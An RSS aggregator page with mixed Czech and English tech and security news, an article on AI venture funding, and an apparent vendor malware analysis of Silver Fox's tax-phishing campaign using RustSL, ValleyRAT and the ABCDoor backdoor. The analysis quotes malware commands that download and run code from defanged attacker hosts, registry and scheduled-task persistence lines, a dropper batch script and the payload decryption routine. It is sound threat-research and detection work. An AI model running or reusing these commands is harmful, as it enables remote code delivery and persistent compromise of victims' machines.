Agregátor RSS

The critical CVE-2026-41940 authentication bypass vulnerability in cPanel, WHM, and WP Squared is being actively exploited in the wild and has been leveraged in attempts since late February. [...]

Turns out the real problem is not AI but staff still clicking on dodgy emails from 'IT support'

Nearly half of UK businesses are still getting breached, and in many cases, the attacker's big breakthrough is an employee clicking "sure, why not" on a fake login page.…

Intro A sophisticated, high-resilience malicious campaign was identified by Atos Threat Research Center (TRC) in March 2026. This operation specifically targets the high-privilege professional accounts of enterprise administrators, DevOps engineers, and security analysts by impersonating administrative utilities they rely on for daily operations. By integrating Search Engine Order (SEO) [email protected]

A joint international operation involving U.S. and Chinese authorities arrested at least 276 suspects and shut down nine cryptocurrency investment fraud centers. [...]

Just in time for the Trump-Xi summit

Exclusive  A novel China-linked threat group infiltrated more than a dozen critical networks in Poland, Asian countries, and possibly beyond, beginning in December 2024 and with activity uncovered as recently as this month.…

Venture funding of AI companies in 2026 will easily smash funding records set in 2025, with some heavy deals already consummated in the first quarter, according to market researchers.

Data from Crunchbase shows that $300 billion poured into 6,000 startups worldwide during the first quarter of 2026. That’s a quarterly record for venture funding in AI companies, a Crunchbase news report said.

A study from S&P Global measured generative AI funding reaching over $140 billion in the first quarter of 2026, outpacing all of 2025, according to a story published on the company’s website. Amid economic concerns, inflation, and the war in Iran, there were fewer deals overall, but the funding rounds were large in scope compared to any made in 2025.

X.AI, for example, kicked off 2026 with a series-E round of $20 billion. OpenAI received $122 billion in a massive funding round in March, with a valuation of $852 billion. Anthropic received $30 billion in one round of funding that valued the company at $380 billion.

Chip maker Nvidia invested in both OpenAI and Anthropic, in the process striking deals to use Nvidia’s GPUs for their genAI models. Nvidia also invested in genAI startup Thinking Machines Lab, which was founded by Mira Murati, the former CTO (and temporarily CEO) of OpenAI.

Venture capitalists are ramping up investments as enterprises across every sector add to their AI portfolios.

“I can say investment velocity for 2026 is fast and on pace or ahead of 2025,” said John Mannes, partner at venture capital firm Basis Set, which focuses solely on AI investments.

“For VCs, it’s a gold rush,” said Jack Gold, principal analyst at J. Gold Associates. “There is lots of potential capital floating around out there in search of the next big thing. AI is the next supposed killer investment, and no one wants to be left behind.”

Gold sees clear signs of an AI bubble, starting with the murky path to profitability for AI firms. “Does AI have the potential to generate lots of revenues? Yes, but with the current spend rate on infrastructure, it’s hard to see how [AI vendors] can be revenue-positive in the short term (two to three years),” he said.

Another sign of the bubble is the “circular financing” that happens when, for example, Nvidia invests in a new company that promises to buy Nvidia products, Gold said.

“As long as people are willing to throw money at AI, then the bubble will remain. But if we hit a point where investors say, ‘We’ve put enough into the field; now show us how our investments will pay off’ (other than through inflated IPO stock prices), then the bubble will likely burst,” Gold said.

“We’re not at that point yet, but it could happen if the economy goes south,” he added.

Clear winners and losers will emerge in the AI sector, said Brad Harrison, founding partner at Scout Ventures. His firm does not invest in large-language models; its AI investments are largely directed toward military and defense, particularly AI technologies for deterrence on the battlefield.

“Without a doubt, we’re in an AI bubble,” Harrison said.

Many AI companies will fail because platforms from large AI vendors will be used to create agents that solve what the other AI companies were trying to do, Harrison said. Breakthrough tools like Claude Code are already improving developer productivity.

“You’re going to see a lot of SaaS companies get a lot smaller… If you don’t need all these people doing all the work, then you don’t need all those software licenses,” Harrison said.

Additionally, he noted, infrastructure and energy demands have reached unsustainable levels, which has raised questions about the resources available for AI.

“Is it good to devote these resources to feeding AI? … Do you think [citizens] want us to spend trillions of deficit that we don’t have on building AI infrastructure and energy? Or do you think they’d rather have some food?” Harrison asked.

Related reading:

• How to prepare for an AI bubble burst
• AI needs a course correction, say World Economic Forum speakers
• The AI bubble will burst for firms that can’t get beyond demos and LLMs

Alza cílí na kanceláře se dvěma ergonomickými myšmi. • Mají tichá tlačítka, kovové kolečko a čtyři připojení najednou. • Lákají i na bohatou výbavu a možnosti nastavení.

Emergency patches out now for those managing the millions of domains assumed to be affected

Emergency patches are available for a critical vulnerability in cPanel and WHM that allows attackers to bypass authentication and gain root access to servers managed using it.…

Před 30 lety, tj. v úterý 30. dubna 1996, byl spuštěn Seznam.cz.

Byly zpracovány a zveřejněny všechny videozáznamy, které stojí za zveřejnění, z konference FOSDEM 2026.

Inovativní letecký elektromotor váží 94 kilogramů a nabízí výkon 750 kW • Stator rozdělený na čtyři samostatné sekce zvyšuje celkovou bezpečnost • Projekt AMBER propojí tento motor s vodíkovými palivovými články

Cybersecurity researchers have disclosed details of a Linux local privilege escalation (LPE) flaw that could allow an unprivileged local user to obtain root. The high-severity vulnerability tracked as CVE-2026-31431 (CVSS score: 7.8) has been codenamed Copy Fail by Xint.io and Theori. "An unprivileged local user can write four controlled bytes into the page cache of any readable file on a Linux Ravie Lakshmananhttp://www.blogger.com/profile/[email protected]

Investigation finds no single cause for soldiers falling ill, just bad bolts, cold air, and apparently the soldiers themselves

Britain's notorious Ajax armored vehicles are being accepted back from the manufacturer after investigations found no single cause for the symptoms plaguing crews, meaning soldiers will need to grin and bear it.…

Great idea, guys. Let's keep all of the data in an Excel file with weak password protection

PWNED  Welcome, once again, to PWNED, the weekly column where we recount the adventures of IT explorers who found their own pile of quicksand and then jumped right into it. This week's story involves keeping sensitive information in a very vulnerable place and then not protecting it adequately.…

Zprávy o Xeonech Diamond Rapids provázejí střídavě zmínky o 192 jádrech a 256 jádrech. Přestože měl procesor podle donedávných plánů vyjít již letos, stále není situace jasná. Jak to vlastně je?

Svět digitálních platforem pro cyklistické trenažéry má za sebou dosud největší akvizici. Česká investiční skupina Pale Fire Capital prodává Rouvy svému největšímu konkurentovi, kalifornské společnosti Zwift. Pale Fire Capital získává podíl ve Zwiftu. Hodnota transakce nebyla zveřejněna. Pod Zwift ...

Google has addressed a maximum severity security flaw in Gemini CLI -- the "@google/gemini-cli" npm package and the "google-github-actions/run-gemini-cli" GitHub Actions workflow -- that could have allowed attackers to execute arbitrary commands on host systems. "The vulnerability allowed an unprivileged external attacker to force their own malicious content to load as Gemini configuration," Ravie Lakshmananhttp://www.blogger.com/profile/[email protected]

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash DWORD enc_payload_len; WORD sgn_decoder_size; char sgn_iterations; char sgn_key; char decoder[sgn_decoder_size]; char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes: buf = bytearray(data) xor_key = sgn_key & 0xFF for _ in range(sgn_iterations): k = xor_key for i in range(len(buf)): dec = buf[i] ^ k if k & 1: k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF else: k = (dec ^ (k >> 1)) & 0xFF buf[i] = dec return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls. [unix_timestamp] RSL started in debug mode. [unix_timestamp] ========================================== [unix_timestamp] Phantom Persistence Module (Hijack Mode) [unix_timestamp] ========================================== [unix_timestamp] [*] Calling RegisterApplicationRestart... [unix_timestamp] [+] RegisterApplicationRestart succeeded. [unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns. [unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic. [unix_timestamp] [*] Starting message thread to monitor shutdown events... [unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded. [unix_timestamp] [+] Window created successfully, message loop started. [unix_timestamp] [+] Phantom persistence enabled successfully. [unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS. [unix_timestamp] Phantom persistence enabled. [unix_timestamp] Mouse movement check passed. [unix_timestamp] IP address check passed. [unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description HKCU:\Console\0 For x86-based modules HKCU:\Console\1 For x64-based modules HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC) fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31 fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32 2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
4. Using curl:
   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off set "script_dir=%~dp0" set SRC_DIR=%script_dir% set DES_DIR=C:\ProgramData\Tailscale rmdir /s /q "%DES_DIR%" mkdir "%DES_DIR%" call :recursiveCopy "%SRC_DIR%" "%DES_DIR%" start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient exit /b :recursiveCopy set "src=%~1" set "dest=%~2" if not exist "%dest%" mkdir "%dest%" for %%F in ("%src%\*") do ( copy "%%F" "%dest%" >nul ) for /d %%D in ("%src%\*") do ( call :recursiveCopy "%%D" "%dest%\%%~nxD" ) exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient
   Persistence is established by executing the following command:
   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
2. Task scheduler: The malware executes
   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client", "device_info": { "device_name": device_name, "os_name": os_name, "os_version": os_version, "os_release": os_release, "device_id": device_id, "install_channel": "<channel_name_from_registry>", # optional field "first_install_time": "<install_time_from_registry>", # optional field }, "version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func() device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash 121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence 5b998a5bc5ad1c550564294034d4a62c 143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption c50c980d3f4b7ed970f083b0d37a6a6a 152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2 de8f0008b15f2404f721f76fac34456a 154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation 9bf9f635019494c4b70fb0a7c0fb53e4 156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a 157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804 157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5 Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

